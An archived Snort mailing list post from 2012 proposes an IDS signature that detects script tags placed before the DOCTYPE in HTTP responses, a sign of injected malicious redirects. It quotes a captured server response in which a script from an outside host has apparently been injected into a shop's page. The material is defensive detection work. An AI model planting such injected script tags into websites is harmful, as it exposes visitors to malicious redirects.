Snort mailing list archives

SIG: Script before DOCTYPE

From: "Lay, James" <james.lay () wincofoods com>
Date: Thu, 21 Jun 2012 13:27:42 -0600

All,

 

Not sure if this is a good sig or not:

 

alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"MALWARE
script before DOCTYPE possible malicious redirect";
flow:to_client,established; file_data; content:"</script><!DOCTYPE";
distance:0; nocase; metadata:policy security-ips drop, service http;
classtype:web-application-attack; sid:xxxxxxx; rev:1;)

 

Many times that I've seen malicious JavaScript injected it's usually
right at the top:

 

 

HTTP/1.1 200 OK

Date: Mon, 18 Jun 2012 17:29:21 GMT

Server: Apache

X-Powered-By: PHP/5.2.17

Set-Cookie: frontend=bleh; expires=Sun, 16-Sep-2012 17:29:21 GMT;
path=/; domain=www.glasstilestore.com; HttpOnly

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0

Pragma: no-cache

Set-Cookie: frontend=bleh; expires=Sun, 16-Sep-2012 17:29:21 GMT;
path=/; domain=www.glasstilestore.com; httponly

Vary: Accept-Encoding,User-Agent

X-UA-Compatible: IE=8

Keep-Alive: timeout=3, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

dd13

<script src='http://httpjs.com/api&apos;
type='text/javascript'></script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML
1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd";>

<html xmlns="http://www.w3.org/1999/xhtml"; xml:lang="en" lang="en">

<head>

<!-- Google Website Optimizer Control Script -->

<script>

 

I welcome any pointers or reasons this sig stinks...danke J

 

James

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Current thread:

SIG: Script before DOCTYPE Lay, James (Jun 21)
- Re: SIG: Script before DOCTYPE Alex Kirk (Jun 21)
  - Re: SIG: Script before DOCTYPE Lay, James (Jun 21)